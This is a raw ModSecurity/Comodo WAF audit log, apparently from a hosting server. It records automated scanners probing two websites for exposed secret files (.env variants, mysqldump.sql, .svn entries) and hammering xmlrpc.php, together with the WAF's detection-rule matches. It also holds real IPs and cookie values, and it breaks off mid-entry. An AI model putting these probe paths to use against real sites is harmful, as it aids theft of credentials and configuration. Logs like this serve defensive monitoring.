"apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/blacklist.dat"] [unique_id "aE9L9n2GhYywD7zZgx4BxwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027254879203 654674 (- - -) Stopwatch2: 1750027254879203 654674; combined=1978, p1=354, p2=1522, p3=0, p4=0, p5=102, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c2e99154-Z-- --8122872f-A-- [16/Jun/2025:04:11:04.665894 +0530] aE9L__NXjUHq-Wm7C_8VywAAAAQ 185.177.72.210 50630 127.0.0.1 7081 --8122872f-B-- GET /hasura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8122872f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9b805e79df47e4bc3d863eb9ed2d4a931750027264; expires=Sun, 15 Jun 2025 23:41:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8122872f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/hasura/.env"] [unique_id "aE9L__NXjUHq-Wm7C_8VywAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027263970184 695772 (- - -) Stopwatch2: 1750027263970184 695772; combined=1843, p1=362, p2=1391, p3=0, p4=0, p5=90, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8122872f-Z-- --ac5ccb2c-A-- [16/Jun/2025:04:11:05.208651 +0530] aE9MAOB8H_qdtV-ppzUVnQAAAAI 128.199.112.101 50632 127.0.0.1 7081 --ac5ccb2c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ac5ccb2c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ac5ccb2c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9MAOB8H_qdtV-ppzUVnQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027264256799 951931 (- - -) Stopwatch2: 1750027264256799 951931; combined=2638, p1=387, p2=1576, p3=43, p4=66, p5=346, sr=111, sw=220, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac5ccb2c-Z-- --9891687e-A-- [16/Jun/2025:04:12:05.548113 +0530] aE9MPLBfUm2FdhH5voEQCgAAAAU 128.199.112.101 44430 127.0.0.1 7081 --9891687e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 492 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9891687e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9891687e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9MPLBfUm2FdhH5voEQCgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027324583974 964202 (- - -) Stopwatch2: 1750027324583974 964202; combined=2235, p1=366, p2=1475, p3=42, p4=65, p5=178, sr=94, sw=109, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9891687e-Z-- --24e3ac22-A-- [16/Jun/2025:04:12:10.846408 +0530] aE9MQnwHSJGQ1A1pR0qXzwAAAAY 185.177.72.210 43016 127.0.0.1 7081 --24e3ac22-B-- GET /mysqldump.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --24e3ac22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8cd180a6807c4753b33f19f2f01161c31750027330; expires=Sun, 15 Jun 2025 23:42:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --24e3ac22-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/mysqldump.sql"] [unique_id "aE9MQnwHSJGQ1A1pR0qXzwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027330187129 659342 (- - -) Stopwatch2: 1750027330187129 659342; combined=1673, p1=310, p2=1258, p3=0, p4=0, p5=105, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --24e3ac22-Z-- --e0720176-A-- [16/Jun/2025:04:12:15.861241 +0530] aE9MR32GhYywD7zZgx4B6wAAAAM 185.177.72.210 43242 127.0.0.1 7081 --e0720176-B-- GET /settings/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e0720176-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7eb483009501da3322f4b83353f1ef791750027335; expires=Sun, 15 Jun 2025 23:42:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e0720176-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/settings/.svn/entries"] [unique_id "aE9MR32GhYywD7zZgx4B6wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027335167606 693698 (- - -) Stopwatch2: 1750027335167606 693698; combined=1978, p1=379, p2=1519, p3=0, p4=0, p5=80, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e0720176-Z-- --76af0050-A-- [16/Jun/2025:04:12:33.317722 +0530] aE9MWH2GhYywD7zZgx4B8wAAAAM 185.177.72.210 57094 127.0.0.1 7081 --76af0050-B-- GET /front/src/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --76af0050-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9a0db57e6e6ece7c1714997f0dfdcf631750027353; expires=Sun, 15 Jun 2025 23:42:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --76af0050-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/front/src/.env"] [unique_id "aE9MWH2GhYywD7zZgx4B8wAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027352638732 679052 (- - -) Stopwatch2: 1750027352638732 679052; combined=2383, p1=493, p2=1798, p3=0, p4=0, p5=91, sr=133, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76af0050-Z-- --a9783434-A-- [16/Jun/2025:04:12:44.865232 +0530] aE9MZOxC6fQU5wYvxvlwawAAAAk 185.177.72.210 42308 127.0.0.1 7081 --a9783434-B-- GET /configurationtion.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a9783434-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=add95e68bcdd42ab052d9eff890204211750027364; expires=Sun, 15 Jun 2025 23:42:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a9783434-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configurationtion.old"] [unique_id "aE9MZOxC6fQU5wYvxvlwawAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027364165381 699913 (- - -) Stopwatch2: 1750027364165381 699913; combined=1678, p1=323, p2=1251, p3=0, p4=0, p5=103, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9783434-Z-- --ff7c8509-A-- [16/Jun/2025:04:12:46.815581 +0530] aE9MZn2GhYywD7zZgx4B-AAAAAM 185.177.72.210 42350 127.0.0.1 7081 --ff7c8509-B-- GET /system-config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ff7c8509-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a3c75062943f0e55d17cca02c3e47ee31750027366; expires=Sun, 15 Jun 2025 23:42:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ff7c8509-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/system-config/.env"] [unique_id "aE9MZn2GhYywD7zZgx4B-AAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027366145119 670524 (- - -) Stopwatch2: 1750027366145119 670524; combined=1910, p1=433, p2=1380, p3=0, p4=0, p5=96, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ff7c8509-Z-- --c0522809-A-- [16/Jun/2025:04:12:55.779439 +0530] aE9Mb1R6EeXjkGzEkblsnwAAAAs 185.177.72.210 48930 127.0.0.1 7081 --c0522809-B-- GET /services/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c0522809-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d0e918b98ccb17f159570a41258714021750027375; expires=Sun, 15 Jun 2025 23:42:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c0522809-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/.env"] [unique_id "aE9Mb1R6EeXjkGzEkblsnwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027375078086 701415 (- - -) Stopwatch2: 1750027375078086 701415; combined=1712, p1=420, p2=1215, p3=0, p4=0, p5=77, sr=128, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c0522809-Z-- --55c8a173-A-- [16/Jun/2025:04:12:56.759689 +0530] aE9McB-kH31pk4mNbsVGsAAAAAo 185.177.72.210 48970 127.0.0.1 7081 --55c8a173-B-- GET /:10000/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --55c8a173-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6989f103a6285b4074d92e2473ab21df1750027376; expires=Sun, 15 Jun 2025 23:42:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --55c8a173-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/sicherung/.env"] [unique_id "aE9McB-kH31pk4mNbsVGsAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027376100212 659566 (- - -) Stopwatch2: 1750027376100212 659566; combined=2026, p1=374, p2=1528, p3=0, p4=0, p5=123, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --55c8a173-Z-- --b365cb21-A-- [16/Jun/2025:04:13:04.052835 +0530] aE9Md7BfUm2FdhH5voEQJAAAAAU 185.177.72.210 33582 127.0.0.1 7081 --b365cb21-B-- GET /:8080/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b365cb21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44f930d8abf04db6422b5dde92f82b131750027383; expires=Sun, 15 Jun 2025 23:43:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b365cb21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env_1"] [unique_id "aE9Md7BfUm2FdhH5voEQJAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027383383996 668902 (- - -) Stopwatch2: 1750027383383996 668902; combined=1738, p1=427, p2=1196, p3=0, p4=0, p5=114, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b365cb21-Z-- --e3f36045-A-- [16/Jun/2025:04:13:05.257679 +0530] aE9MeFR6EeXjkGzEkblsowAAAAs 128.199.112.101 33636 127.0.0.1 7081 --e3f36045-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e3f36045-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e3f36045-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9MeFR6EeXjkGzEkblsowAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027384306162 951574 (- - -) Stopwatch2: 1750027384306162 951574; combined=2371, p1=368, p2=1585, p3=47, p4=66, p5=190, sr=102, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e3f36045-Z-- --6859bb3d-A-- [16/Jun/2025:04:13:09.254898 +0530] aE9MfPNXjUHq-Wm7C_8WAgAAAAQ 185.177.72.210 33796 127.0.0.1 7081 --6859bb3d-B-- GET /:8443/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6859bb3d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7a963f1c72340ef39f2bf5acf018977d1750027389; expires=Sun, 15 Jun 2025 23:43:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6859bb3d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.2"] [unique_id "aE9MfPNXjUHq-Wm7C_8WAgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027388551937 703034 (- - -) Stopwatch2: 1750027388551937 703034; combined=1975, p1=417, p2=1461, p3=0, p4=0, p5=96, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6859bb3d-Z-- --3dacd03b-A-- [16/Jun/2025:04:13:23.419409 +0530] aE9MiuxC6fQU5wYvxvlwewAAAAk 82.102.18.180 59158 127.0.0.1 7081 --3dacd03b-B-- 